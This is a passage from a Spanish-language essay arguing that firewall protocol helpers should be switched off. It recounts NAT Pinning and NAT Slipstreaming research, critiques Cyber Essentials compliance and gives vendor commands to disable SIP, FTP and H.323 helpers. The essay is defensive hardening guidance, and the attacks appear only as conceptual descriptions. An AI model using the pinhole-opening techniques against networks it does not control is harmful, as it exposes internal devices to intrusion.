y AH «associated with an IKE UDP port 500 connection», con un mapa por defecto que no fija límite alguno de conexiones ESP por cliente20.\nEl mismo objeto, la misma autoridad, salvo que aquí el ayudante ni siquiera está buscando una palabra clave. No puede analizar ESP, porque ESP es justo la parte cifrada; está dirigiendo paquetes por un número de 32 bits que vio pasar en claro. La sección del RFC 3715 que cubre esto se titula, sin ironía alguna, «Helper Incompatibilities», y deja constancia de que demultiplexar por cookie «results in problems with re-keying» y de que los dispositivos que analizan cargas útiles ISAKMP «may not handle all payload ordering combinations»18. Una conjetura en lugar de una regla, y un analizador casero en el camino de los paquetes, escrito hace veintidós años.\nEl arreglo llegó diez meses después, dentro del protocolo, que es donde corresponde: el RFC 3947 hace que los dos extremos detecten un traductor durante el intercambio de claves, y el RFC 3948 envuelve ESP en UDP por el puerto 4500 para que vuelva a haber puertos21. Y entonces Juniper lo dice en voz alta: «IKE NAT-T traffic on floating port 4500 is not processed in an IKE ALG»19. Hazlo bien y el ayudante queda enteramente sorteado, que es la misma frase que el FTP pasivo y que ICE.\nEl Linux principal nunca aceptó este. No hay módulo ESP entre los protocolos de conntrack, y un parche de 2021 que añadía seguimiento basado en el SPI pasó la revisión en la lista de netfilter y nunca se integró22. Los fabricantes que lo llevan lo llevan fuera del árbol, en los equipos que menos probablemente se actualicen jamás.\nIncumple Cyber Essentials, punto por punto Hasta aquí esto ha sido un argumento de seguridad. Para quien se certifica en el Reino Unido es también un argumento de cumplimiento, y no hace falta ninguna interpretación ingeniosa: son tres puntos contra tres puntos. Cyber Essentials es el programa respaldado por el gobierno británico y gestionado a través de IASME, su primer control técnico es sobre cortafuegos, y el documento de requisitos vigente es la versión 3.3 de abril de 2026. Esto es lo que te exige, literalmente23:\nblock unauthenticated inbound connections by default ensure inbound firewall rules are approved and documented by an authorised person, and include the business need in the documentation remove or disable unnecessary firewall rules, when they are no longer needed Ahora pon un ayudante de protocolo al lado.\nTres requisitos de cortafuegos, y qué hace un ayudante con cada uno Cyber Essentials, control uno, cortafuegos. Tres obligaciones, y la respuesta de un ayudante a cada una. Lo que dice el documento de requisitos Lo que hace un ayudante de protocolo Resultado \"block unauthenticated inbound connections by default\" La primera obligación, y la razón de ser del control. Permite una por la fuerza de una cadena en un paquete. Quien aportó la cadena no se autenticó contra absolutamente nada. falla \"ensure inbound firewall rules are approved and documented by an authorised person, and include the business need\" Escrita a velocidad de línea por un módulo del kernel. Nadie la aprobó, nadie la vio, sin documento, sin necesidad de negocio registrada. falla \"remove or disable unnecessary firewall rules, when they are no longer needed\" Lo que presupone que alguien decidió que hacían falta. Borradas por un temporizador. Un temporizador no es una revisión, y nadie evaluó nunca si la regla era necesaria de entrada. falla Este es el primero de los cinco controles técnicos, no un caso raro del quinto. Se aplica, en palabras del propio programa, a cortafuegos perimetrales, equipos de sobremesa, portátiles, routers y servidores. Los tres requisitos de cortafuegos de los controles técnicos de Cyber Essentials, y qué hace un ayudante de protocolo con ellos. Tres requisitos, tres incumplimientos, en el primero de los cinco controles. Una expectativa existe precisamente para permitir una conexión entrante que de otro modo se bloquearía, y la parte cuyos datos la provocaron no se autenticó contra nada, así que el primer punto se incumple de plano. La regla la escribió un módulo del kernel a velocidad de línea, así que no hay documento, no hay necesidad de negocio registrada y no hay persona autorizada en ningún punto de la cadena: pídele a un auditor la prueba de aprobación de la regla que dejó llegar una conexión al puerto 9100 de tu impresora y no la tienes ni la puedes fabricar, porque existió durante noventa segundos hace dieciocho meses. Y las reglas de un ayudante las borra un temporizador, y un temporizador no es una revisión.\nTres requisitos, tres incumplimientos, en el primero de cinco controles, que en palabras del propio programa se aplica a «boundary firewalls, desktop computers, laptops, routers, servers»23, es decir, a todo lo que posees.\nSé honrado sobre lo que eso significa, porque yo no soy el organismo certificador. Un evaluador trabaja con el cuestionario y con las pruebas que tú le das, y ese cuestionario pregunta si bloqueas por defecto las conexiones entrantes no autenticadas y si tus reglas entrantes están documentadas y aprobadas. Responde que sí con un ayudante corriendo en tu perímetro y la respuesta es falsa. Probablemente apruebes igual. Aprobar y cumplir no son lo mismo, y la diferencia entre ambos sale a la luz después de un incidente en lugar de antes.\nCyber Essentials tampoco es raro en lo que pide, solo inusualmente claro al escribirlo. Un estándar del sector de las tarjetas, un programa gubernamental, el cuestionario de un cliente y el formulario de tu aseguradora piden todos lo mismo con otras palabras: ¿sabes qué permite entrar tu cortafuegos, y lo decidió alguien? Así que esta es la sección para quien firma el certificado. No los ataques ni los CVE. Tres puntos, y la respuesta honrada a cada uno.\nEl sector decidió esto hace veinte años Nada de esto es nuevo y nada es discutible. Lo notable es cuánto tiempo lleva tomada la decisión mientras los valores por defecto seguían impasibles.\nVeinticinco años del mismo hallazgo, y la única fila que nunca aparece La conclusión se alcanzó en 2007. Los valores por defecto no se movieron. Cuándo Qué pasó Quién podía actuar ene. 2001 El RFC 3027 cataloga todos los protocolos que NAT rompe, y qué debe hacer un ALG con cada uno organismo de normas feb. 2002 El RFC 3234 llama al mecanismo «a deliberate layer violation» y avisa de más puntos de ataque organismo de normas ene. 2007 RFC 4787, una Best Current Practice: los ALG de NAT para protocolos UDP DEBERÍAN apagarse organismo de normas ene. 2010 NAT Pinning: un formulario oculto abre un puerto entrante en la máquina del visitante un investigador 2012 netfilter gana un mecanismo explícito de atado y un interruptor para parar la asignación automática el kernel abr. 2016 Linux cambia el defecto: los ayudantes no hacen nada sin regla explícita. Entregado en 4.7 el kernel oct. 2020 NAT Slipstreaming, y luego la variante de enero de 2021 que alcanza todo dispositivo de la red investigadores nov. 2020 Cuatro fabricantes publican medidas; el estándar web gana una lista de puertos prohibidos los navegadores ago. 2022 El ayudante IRC resulta dispararse con un mensaje que la víctima nunca redactó un investigador 2023\u0026#8211;24 Otras cuatro vulnerabilidades de ALG en la gama insignia de un mismo fabricante investigadores Ahora lee la columna «quién podía actuar» y fíjate en quién no aparece nunca. En veinticinco años, ni una fila es un fabricante de cortafuegos publicando una actualización que apague la función en equipos ya desplegados. El organismo lo pidió, el kernel lo hizo aguas arriba, y ninguno alcanzó las cajas. Veinticinco años de la misma conclusión, alcanzada una y otra vez por gente que no podía arreglar lo que había que arreglar. La única línea que nunca aparece es la de un fabricante de cortafuegos apagando la función en equipos ya desplegados. El RFC 3027 cartografió en enero de 2001 todos los protocolos que NAT rompe24. El RFC 3234 metió los ALG en la taxonomía de middleboxes un año después, llamó al mecanismo «a deliberate layer violation», y fue claro sobre el coste de añadir cajas a un camino: «creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models»10. Después, en enero de 2007, el RFC 4787 — una Best Current Practice, no una sugerencia — estableció cómo debe comportarse NAT, y el requisito número diez decía esto:\nREQ-10: To eliminate interference with UNSAF NAT traversal mechanisms and allow integrity protection of UDP communications, NAT ALGs for UDP-based protocols SHOULD be turned off.4\nApagados. Hace diecinueve años, con el motivo incluido: los ayudantes estorban a los mecanismos que sí funcionan, y te impiden proteger la integridad de tu propio tráfico. La misma sección observa con hastío que algunos productos llevan los ALG «turned on permanently»4.\nTres años después, NAT Pinning dejó que una página web abriera un puerto1. Netfilter respondió en 2012 con una forma de hacerlo deliberadamente en lugar de automáticamente: el destino CT, que ata un ayudante a un flujo concreto mediante una regla explícita, y un interruptor para detener del todo la asignación automática11. Después, el 25 de abril de 2016, el kernel cambió su valor por defecto, con un mensaje de commit que merece leerse entero de lo cansado que suena:\nFour years ago we introduced a new sysctl knob to disable automatic helper assignment [\u0026hellip;] This knob kept this behaviour enabled by default to remain conservative. This measure was introduced to provide a secure way to configure iptables and connection tracking helpers through explicit rules. Give the time we have waited for this, let\u0026rsquo;s turn off this by default now, worse case users still have a chance to recover the former behaviour by explicitly enabling this back through sysctl.5\nEso llegó con Linux 4.7, y desde entonces una caja con esos módulos cargados no hace nada con ellos hasta que escribas una regla que ate uno a un flujo, con una línea de registro que te lo dice. Todo lo posterior está en el diagrama de arriba: Slipstreaming y la variante para cualquier dispositivo, cuatro fabricantes de navegadores publicando medidas mientras el propio estándar de la plataforma web incorporaba la lista de puertos25, el ayudante de IRC disparándose con un mensaje que nadie redactó, y cuatro vulnerabilidades más de ALG en los cortafuegos insignia de un solo fabricante.\nAhora fíjate en qué falta de la lista. En veinticinco años, ninguna de sus líneas es un fabricante de cortafuegos publicando una actualización de firmware que apague estas cosas en equipos ya entregados. El organismo de estándares lo pidió. El kernel lo hizo aguas arriba. Los investigadores lo demostraron cuatro veces por separado. Los navegadores lo pagaron. Las cajas siguieron funcionando.\nY la lista de puertos bloqueados es la señal. Los puertos 69, 137, 161, 554, 1719, 1720, 1723, 5060, 5061, 6566 y 10080 están todos ahí6 — TFTP, NetBIOS, SNMP, RTSP, H.323 dos veces, PPTP, SIP dos veces, el protocolo de escáner y el de copias de seguridad Amanda. Enumera los módulos de ayudante de un árbol del kernel de Linux y descubrirás que has leído la misma lista dos veces. No es casualidad, y no es una medida de seguridad. Es un sector manteniendo permanentemente una lista creciente de puertos bloqueados porque otro sector no quiere cambiar un valor por defecto.\nDebajo de la mayoría de los logotipos hay Linux El detalle de netfilter es la parte importante y no una digresión con forma de Linux, y vale la pena decir por qué antes de la lista de fabricantes. Una enorme proporción de las cajas que hacen NAT en este planeta es Linux con netfilter bajo una carcasa de fabricante: todos los derivados de OpenWrt, es decir, la mayor parte del mercado de routers de consumo y pyme, la mayoría de los routers domésticos que entrega el operador, buena parte del equipamiento de NAT a escala de operador, y un montón de appliances comerciales cuya interfaz web no delata nada de lo que hay debajo. El ayudante que analiza tu SIP es, en muchísimos casos, ese mismo nf_conntrack_sip.c que está en el kernel principal, compilado por otro y expuesto en un menú.\nLa prueba está en la propia investigación. Cuando Samy fue a buscar el SIP ALG dentro de un router Netgear, extrajo el firmware y encontró un módulo del kernel con ftp_decode y sip_decode2. La lista de pruebas de Armis incluía OpenWrt y VyOS más una categoría que llamaron simplemente «various consumer grade Linux routers, with likely older kernel versions», y el análisis de H.323 que produjo el hallazgo de «cualquier equipo interno» nació leyendo el código fuente de netfilter y se confirmó después en cortafuegos comerciales de tres fabricantes3.\nDe ahí salen dos consecuencias prácticas.\nEl valor por defecto del kernel no te llega. Linux 4.7 apagó la asignación automática en 2016, pero solo si el kernel es lo bastante nuevo y nadie lo ha vuelto a encender. Armis encontró VyOS poniendo nf_conntrack_helper de vuelta a 1 explícitamente, y señaló que un montón de productos basados en Linux lo reactivan «as it is still useful for many users»3. Un kernel de 2014 dentro de un producto de 2026 tiene el comportamiento de 2014, y un kernel actual con el interruptor cambiado tiene el mismo. Ninguno de los dos aparece en una hoja de características.\nQuien entiende el modelo de netfilter sabe qué preguntarle a cualquier otra caja. Las tres preguntas de la sección sobre expectativas no son preguntas de Linux. Son las preguntas. Cada fabricante tiene el mismo objeto con otro nombre, la documentación casi nunca da las respuestas, y saber qué hace la implementación de referencia es cómo deduces qué hay que probar.\nHaz bien el trabajo de Linux, y luego lee a cualquier otro fabricante contra él.\nLos ayudantes de Linux, en condiciones Empieza por lo que hay cargado de verdad:\nlsmod | grep -E \u0026#39;nf_conntrack|nf_nat\u0026#39; Los módulos de ayudante son los que llevan nombre de protocolo — nf_conntrack_ftp, _sip, _h323, _irc, _tftp, _pptp, _snmp, _amanda, _sane, _netbios_ns y _talk —, cada uno con su nf_nat_* correspondiente donde se reescriben las direcciones. Después comprueba si la asignación automática está encendida, que es el interruptor que decide si un módulo cargado actúa por su cuenta:\nsysctl net.netfilter.nf_conntrack_helper Cero es lo que quieres, y cero es el valor por defecto desde Linux 4.75. Uno significa que cualquier ayudante cargado está activo sobre cualquier flujo que encaje con su puerto, desde cualquier dirección, que es el comportamiento de 2015 y el que asumen los ataques de este artículo.\nLuego mira conntrack -L expect en un cortafuegos en marcha. Con los ayudantes apagados sigue vacío; con ellos encendidos, pon una captura al lado y verás aparecer entradas mientras la gente usa la red. Ese ejercicio merece hacerse una vez en la vida, porque nada demuestra el punto más rápido que ver aparecer y desaparecer ante tus ojos un permiso entrante que tú no escribiste.\nSi la asignación automática está apagada y aun así quieres un ayudante concreto sobre un flujo concreto, la vía correcta es una regla explícita, que al menos lo limita a un destino y un puerto:\niptables -t raw -A PREROUTING -p tcp --dport 21 -d 192.0.2.10 -j CT --helper ftp El equivalente en nftables declara un objeto ct helper y lo ata con ct helper set en la cadena prerouting, la misma disciplina con mejor sintaxis.\nMira lo que es esa regla: una excepción entrante documentada, aprobada y con justificación de negocio, escrita por una persona, dentro del conjunto de reglas, donde un auditor puede leerla. Exactamente lo que la versión automática nunca pudo ser.\nSi los quieres fuera en lugar de meramente dormidos — y en un cortafuegos deberías quererlo —, impide que los módulos se carguen siquiera:\nfor m in ftp sip h323 irc tftp pptp snmp amanda sane netbios_ns talk; do echo \u0026#34;install nf_conntrack_$m /bin/false\u0026#34; done \u0026gt; /etc/modprobe.d/no-conntrack-helpers.conf install ... /bin/false en lugar de blacklist es deliberado: blacklist solo impide la carga automática por alias, y quien pida el módulo por su nombre lo obtendrá igual. Y si la capa de cortafuegos de tu distribución los carga por ti — firewalld lo hace cuando una zona tiene activados los servicios FTP o TFTP —, esa es la capa que hay que tratar, porque los vuelve a poner muy servicialmente.\nTodos los demás logotipos, y cómo apagarlo Comprueba tu propia versión en lugar de creerte algo de internet, lo mío incluido, porque estos valores por defecto cambian entre versiones y entre modelos de la misma gama.\npfSense y OPNsense son la prueba de que el debate terminó. No hay ningún SIP ALG que apagar, porque nunca hubo uno que encender. Están entre las distribuciones de cortafuegos más desplegadas que existen, mueven telefonía para muchísimas organizaciones, y si de verdad hiciera falta un ayudante para que el VoIP moderno funcione, eso no sería posible. Evidentemente lo es. Con el proxy FTP pasó lo mismo: Netgate lo sacó del sistema base en enero de 2015 y lo degradó a un paquete opcional que la mayoría nunca ha instalado.\nEl diseño de OpenBSD es lo que todos los demás deberían haber copiado. pf no reescribe carga útil en absoluto en el camino de reenvío. Si quieres FTP asistido ejecutas ftp-proxy, un demonio aparte en espacio de usuario, y escribes una regla divert-to explícita que le envía la conexión de control; el proxy se conecta entonces al servidor en nombre del cliente26. De ahí salen tres propiedades de golpe: está apagado salvo que lo enciendas a propósito, solo ve el tráfico que has nombrado en una regla, y un fallo dentro tumba un proceso de espacio de usuario en lugar del camino de los paquetes. Así se ve la opción de participación voluntaria cuando alguien la diseña en vez de atornillarla después.\nOpenWrt no incluye los módulos de ALG, y la asignación automática sigue apagada aunque los instales.\nCisco ASA y FTD llevan motores de inspección en la política global por defecto, y no inspect sip es el propio consejo de Cisco durante un incidente:\npolicy-map global_policy class inspection_default no inspect sip no inspect h323 h225 no inspect h323 ras no inspect skinny En FTD es configure inspection sip disable desde la CLI del dispositivo16. El paso de IPsec es lo que Cisco hizo bien: inspect ipsec-pass-thru no está en la política por defecto, así que salvo que alguien lo añadiera a propósito no hay nada que quitar20.\nCisco IOS y IOS XE también lo traen encendido — «NAT support for SIP is enabled by default on port 5060», en palabras de Cisco7, y lo mismo para H.323:\nno ip nat service sip tcp port 5060 no ip nat service sip udp port 5060 no ip nat service h225 Juniper SRX activa SIP y H.323 en los modelos de sucursal y no en el equipamiento de gama alta, lo cual ya dice por sí solo qué opinan los ingenieros de Juniper. Mira dónde estás con show security alg status, y luego:\nset security alg h323 disable set security alg sip disable set security alg ftp disable set security alg ike-esp-nat disable FortiGate inspecciona VoIP por defecto a través del perfil de VoIP, con un ayudante de sesión del kernel debajo. La secuencia documentada por Fortinet quita primero el ayudante27:\nconfig system session-helper show delete \u0026lt;la entrada de SIP\u0026gt; end config system settings set default-voip-alg-mode kernel-helper-based end Lee el número de entrada de tu propia salida de show en lugar de copiar uno, porque cambia entre modelos y versiones. Fortinet advierte de que a menudo hace falta reiniciar.\nCheck Point es el caso difícil para una auditoría, porque no hay un interruptor único. El ayudante es una propiedad del objeto de servicio usado en la regla, así que el servicio SIP predefinido te trae el manejador de protocolo y todo lo que hace. Evitarlo significa definir un servicio UDP o TCP simple propio en el puerto 5060 con tipo de protocolo «none», activar la coincidencia y poner esa regla por encima de cualquier cosa que siga usando el integrado. Así que «¿está encendido el ALG?» no es una pregunta que pueda responder una página de configuración. Ten cuidado antes de creerte la palabra de alguien de que está apagado.\nPalo Alto te da un interruptor por aplicación, y su propia documentación dice que el SIP ALG «creates dynamic NAT pinholes»8. Objects, Applications, busca sip, edita la opción de ALG, marca Disable ALG, commit.\nMikroTik trae diez ayudantes bajo /ip firewall service-port — SIP, H.323, FTP, IRC, TFTP, PPTP, RTSP y más —, cada uno documentado en una línea, sin ninguna advertencia de seguridad en la página. Enuméralos primero, y luego apaga lo que encuentres:\n/ip firewall service-port print /ip firewall service-port set [find name=sip] disabled=yes /ip firewall service-port set [find name=h323] disabled=yes /ip firewall service-port set [find name=ftp] disabled=yes Routers de consumo y de operador. Busca «SIP ALG», «SIP helper», «VoIP passthrough» o «application layer gateway», normalmente bajo una página de NAT avanzado. En muchos de ellos, y desde luego en el equipamiento del operador, no hay ningún ajuste, lo cual te dice si esa caja pinta algo en una red de la que respondes tú.\nSea cual sea la plataforma, termina igual: demuéstralo. Pon una captura en la interfaz externa, envía desde fuera una línea PORT o REGISTER fabricada al puerto correspondiente, y comprueba que no se abre nada. Un ajuste que no has probado es una creencia.\nCasi todo lo que se rompe ya estaba muerto Ser honrado sobre el coste es toda la base para pedirle esto a alguien, así que ahí va. Apagar el ayudante de SIP en una red con teléfonos mal configurados puede romper llamadas, normalmente audio en un solo sentido o registros que se caen. Apagar el ayudante de FTP rompe el FTP activo saliente. Apagar el ayudante de H.323 rompe H.323, si aún lo tienes. Eso es real, y deberías esperar al menos una de esas cosas si haces esto en un solo cambio sobre una red que nadie ha mirado en años.\nAhora vuelve a leer la lista y fíjate en que casi todos los protocolos a los que sirve un ayudante son protocolos que el resto del sector enterró hace mucho. H.323 perdió contra SIP hace veinte años. PPTP es indefendible desde 1998, y ese argumento lo desarrollé por extenso en IPsec fue una buena idea. Las transferencias directas de IRC pertenecen a una década que nadie recuerda con nostalgia. El servicio de nombres de NetBIOS, las versiones de SNMP con cadena de comunidad, el protocolo de descubrimiento de escáneres y el viejo protocolo de copias de seguridad son reliquias para redes locales que nunca debieron cruzar un perímetro. El FTP en claro ha desaparecido incluso de los navegadores: Firefox lo apagó en la versión 88 y lo eliminó en la 90 en julio de 2021, y Chrome quitó el código en octubre siguiente en la versión 95, ambos alegando que el uso era insignificante y la seguridad no merecía el mantenimiento28.\nAsí que «no podemos apagar el ayudante, se rompe algo» es casi siempre un argumento para mantener un protocolo muerto con respiración asistida, con el fin de justificar una función que abre puertos a desconocidos. Apagarlo no rompe tu red. Expone lo único que debería haberse retirado hace años, y esa es información que querías tener de todas formas.\nSIP es la excepción real, y la única. Todo lo demás de esa lista es una discusión que te alegrarás de perder, y nada de ello es irresoluble, porque cada protocolo implicado resolvió su propio problema de traducción hace años, dentro del protocolo, que es donde corresponde.\nQué hacer en su lugar La respuesta del middlebox y la de los extremos, lado a lado El mismo problema, respondido dos veces. Una respuesta puso la decisión en el medio. Decide una caja del camino Deciden los dos extremos Cómo funciona Un dispositivo lee la carga útil al pasar Reescribe la dirección que encuentra escrita ahí Abre un hueco entrante para la conexión descrita Nadie en ninguno de los extremos sabe que pasó Cómo funciona Cada extremo pregunta a un servidor cómo se ve desde fuera Cada uno ofrece todos sus caminos: local, traducido, relay Los dos extremos prueban los caminos entre sí Mantienen abierto el que funciona con su propio tráfico Qué te exige Carga útil legible, así que nada de cifrado en el canal de control. Ese dispositivo concreto en ese camino concreto. Un solo traductor: un NAT de operador aguas abajo lo rompe. Y confianza en quien escribió el texto, que es la parte en la que nadie pensó hasta 2010. Qué te exige Acceso saliente, y nada más. Funciona a través de traductores que no son tuyos y que no puedes ver, de dos apilados, de una red móvil, y con el canal de control cifrado de extremo a extremo, porque nada en el medio lo lee. Para transferir ficheros es aún más simple: modo pasivo, donde el cliente abre ambas conexiones hacia fuera y no queda nada que hacer. La columna de la derecha no es una propuesta. Es lo que tu navegador ya hace. Cada videollamada hecha en un navegador se negocia así, a través de todo tipo de traductor, sin ALG en el camino. El mismo problema, resuelto dos veces. Una respuesta puso la decisión en una caja del medio. La otra dejó que los dos extremos lo resolvieran entre ellos, y eso es lo que hace ya cada navegador del mundo en cada videollamada. FTP. Modo pasivo, en la especificación desde 1985 y el valor por defecto de cualquier cliente desde hace veinte años: ambas conexiones salen hacia fuera y no queda nada que hacer para un ayudante. Y si en 2026 mueves ficheros entre organizaciones, FTP no es el protocolo para eso: SFTP y FTPS van cifrados, y ninguno de los dos toca un ayudante.\nSIP y todo lo demás en tiempo real. El extremo le pregunta a un servidor de internet cómo se ven su dirección y su puerto públicos desde fuera, ofrece todos los caminos que tiene, y los dos extremos prueban los caminos entre ellos y se quedan con uno que funcione, usando un relay donde no exista camino directo. Eso es STUN, TURN e ICE, y es lo que hace cada navegador del mundo en cada videollamada, a través de cualquier tipo de traductor, sin un solo ALG en el camino. Si tu centralita no puede hacer eso en 2026, el problema es la centralita.\nIPsec. Travesía de NAT, es decir RFC 3947 y RFC 3948: los dos extremos detectan el traductor durante el intercambio de claves y envuelven ESP en UDP 4500 el resto de la sesión21, sin puerta en ninguna caja intermedia.\nH.323. Retíralo. SIP ganó esa discusión hacia 2005, así que no hay migración que planificar, solo una eliminación. Las transferencias directas, TFTP, SNMP, NetBIOS, el descubrimiento de escáneres y el protocolo de copias siguen el mismo camino: ninguno tiene por qué cruzar un perímetro.\nIPv6. Ahí no existe nada de esto, porque no hay traducción y por tanto no hay nada que un ayudante pueda reescribir. Un equipo tiene su propia dirección, la dirección de la carga útil es cierta, y un cortafuegos con estado permite lo que tú dijiste y nada más. Todos los problemas de este artículo descienden de la traducción de direcciones, y la traducción de direcciones desciende de no desplegar IPv6, un argumento que he desarrollado en otra parte y que no repito aquí.\nAhora la parte en la que no voy a ser diplomático.\nSi alguien te dice que enciendas estas cosas — un fabricante, un instalador de telefonía, un servicio gestionado, un integrador de un contrato marco —, no es ingeniero de redes ni especialista en seguridad. Puede que sea muy bueno en lo que hace de verdad, y esto no será eso. La respuesta correcta a una centralita que necesita que un cortafuegos le reescriba la señalización es arreglar la centralita, y quien en su lugar te diga que abras tu perímetro a un analizador que busca texto te está diciendo que o no sabe qué es una expectativa o le da igual. Aquí no somos aficionados. Desde 2007 hay documentos de vía de estándares que dicen cómo debe hacerse esto, y «enciende el ayudante de SIP y ya está» es el sonido de alguien agarrándose a lo que cierra el ticket hoy.\nPregúntale, en la sala, contra qué se compara el comodín de dirección de origen de la expectativa. Si la pregunta le sorprende, ya tienes tu respuesta, y nunca fue sobre el protocolo.\nSi aún los ejecutas, ¿puedes llamarte profesional? Es una pregunta seria y merece una respuesta seria, así que aquí van tres, porque hay tres casos. Depende de si lo sabes, y saberlo no es algo que te ocurra sin más. Asegurarte de saberlo es el trabajo.\nSi hay un ayudante de SIP, H.323 o FTP encendido en un perímetro del que respondes tú, y no puedes decir sin buscarlo qué es una expectativa, cuáles de sus campos son comodines, quién aporta los valores y qué afirma tu compromiso de certificación sobre las reglas entrantes, entonces no. En esto no. No has elegido una configuración, has heredado un valor por defecto y nunca lo has leído. La carencia no es el hueco: todo el mundo tiene huecos, y yo también tenía este. Es construir un perímetro sobre un hueco que nunca fuiste a cerrar, y después firmar algo que dice que el perímetro está bien.\nSi sabes exactamente qué hace, y está encendido porque un regulador nombra el protocolo, porque el equipamiento de un socio no termina otra cosa, o porque la centralita se cambia en marzo y esto tiene que aguantar hasta entonces, entonces sí, claro, y estás haciendo bien el trabajo. Esas son restricciones reales y yo he trabajado con peores. Lo que lo hace profesional en vez de negligente es haber escrito qué ayudante, en qué interfaz, para qué flujo, por qué, y en qué fecha se va. Exactamente el papeleo que el requisito de cortafuegos ya pedía.\nEl caso indefendible es el del medio. Saber lo suficiente como para estar incómodo, y dejarlo funcionando porque nadie te obligó nunca a justificarlo. Eso no es ingeniería. Es costumbre con un número de cambio pegado, y así es como una función que una Best Current Practice te dijo que apagaras en enero de 2007 sigue encendida en 2026.\nEsto pesa más cuando le pagas a alguien por su criterio, porque el criterio no se puede inspeccionar en la entrega. Así que inspecciónalo antes. Pregunta qué hace su construcción estándar con los ayudantes de protocolo y por qué, pregunta qué pasa si alguien de la red de invitados abre un enlace, y pregunta qué dispositivos internos serían alcanzables con el ayudante de H.323 encendido. Fíjate en si dicen «solo la máquina que hizo clic», porque eso es falso, y es la respuesta falsa que da alguien que suena competente. Sabrás en dos minutos si te están contando algo o recitándolo, y dos minutos son una prueba mucho más barata que un incidente.\nY si la respuesta llega como un encogimiento de hombros y firmas igual, eso también es una decisión. Solo que ha dejado de ser suya y ha pasado a ser tuya.\nNadie tuvo que justificarlo nunca Quiero ser justo con la gente que construyó estas cosas, porque se lo merece.\nEn 1994 el ayudante era una respuesta razonable a un problema real. Las direcciones se agotaban, NAT era el arreglo pragmático, un puñado de protocolos importantes no sobrevivía a él, y la elección era arreglar todos los clientes FTP del mundo o enseñar a la caja a leer. Enseñaron a la caja a leer, publicaron los valores por defecto más seguros que se les ocurrieron, y escribieron en el código fuente avisos sobre a qué se le podía inducir. Esos avisos siguen ahí. Uno lo he citado.\nLo que salió mal después no es un fallo técnico. Es que nada en este sector obligó nunca a nadie a volver a mirarlo. El IETF dijo que los apagaran y no tenía poder para que nadie lo hiciera. El kernel cambió su valor por defecto y no podía alcanzar los dispositivos ya entregados. Los investigadores lo demostraron cuatro veces en dieciséis años, y cada vez el arreglo aterrizó en cualquier sitio menos en el cortafuegos.\nMientras tanto, el valor por defecto siguió encendido. No porque nadie lo defendiera. Porque un valor por defecto que nadie discute vive indefinidamente, y porque en ningún sitio hay un departamento cuyo trabajo sea terminar cosas.\nEse es el patrón, y es más grande que una función de cortafuegos. Esta profesión es excelente manteniendo y pésima parando. El mantenimiento tiene presupuesto, personal, facturación y seguridad, mientras que retirar algo requiere una persona que ponga su nombre en un cambio sin beneficio si sale bien y con su nombre en todas partes si sale mal. Así que la cosa se queda, y se queda, y un día alguien descubre que abre puertos hacia tu impresora.\nLa señal, para mí, es esa expresión de la propia documentación de Cisco: el ALG crea una puerta NAT. No un filtro. No una comprobación. Una puerta, en el muro que pagaste, abierta por cualquiera que consiga colar por ella un paquete con las palabras correctas al principio, y la respuesta arraigada del sector es pedirle a los transeúntes que por favor no prueben el picaporte.\nLa tuya puedes cerrarla esta tarde, y merece la pena terminar ahí. No con los ataques; los ataques son solo lo que ocurre cuando nadie lo hace. Ve a ver qué permite entrar tu perímetro sin que tú lo hayas escrito nunca, decide si era tu intención, y quita lo que no lo era, con una fecha al lado de lo que te quedes.\nUn perímetro nunca fue otra cosa: una lista de cosas que alguien eligió permitir y podía justificar. Lo que esté ahí sin que nadie lo eligiera no es seguridad. Es mobiliario.\nSamy Kamkar — NAT Pinning, 5 de enero de 2010. El ataque original del navegador contra el ALG, usando un formulario oculto para que un navegador emita un DCC CHAT de IRC o una línea de respuesta 227 de FTP y el ayudante del router abra un puerto entrante. «No XSS or CSRF required.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, 31 de octubre de 2020, actualizado en enero de 2021. Resumido por el autor como permitir «an attacker to remotely access any TCP/UDP service bound to a victim machine, bypassing the victim\u0026rsquo;s NAT/firewall (arbitrary firewall pinhole control), just by the victim visiting a website». Contiene la técnica de los límites de segmento, la nota de que el manejador de SIP «will bail unless the method (eg, REGISTER) occurs at the start of the data portion of the packet», y el análisis del firmware de un Netgear que encontró ftp_decode y sip_decode en un módulo del kernel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBen Seri y Gregory Vishnepolsky, Armis — NAT Slipstreaming v2.0, 26 de enero de 2021. La primitiva de desvío de llamada de H.323, el sorteo de la lista de puertos restringidos de los navegadores vía el relay, la lista de productos probados (OpenWrt, VyOS, routers Linux de consumo, FortiGate, Cisco ASAv y csr1000v, HPE vsr1000, SonicWall TZ300), la cronología de la divulgación, y la conclusión de que «resolving the issue will require a fundamental change of their implementations by various router/firewall vendors».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, enero de 2007, BCP 127. La sección 7 contiene el REQ-10 y la observación de que «Certain NATs have these ALGs turned on permanently, others have them turned on by default but allow them to be turned off».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPablo Neira Ayuso — netfilter: nf_ct_helper: disable automatic helper assignment, commit 3bb398d9, 25 de abril de 2016, publicado en Linux 4.7. Cambia el valor por defecto de nf_conntrack_helper de activado a desactivado.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCódigo fuente de Chromium — net/base/port_util.cc. Su array kRestrictedPorts incluye 69, 137, 139, 161, 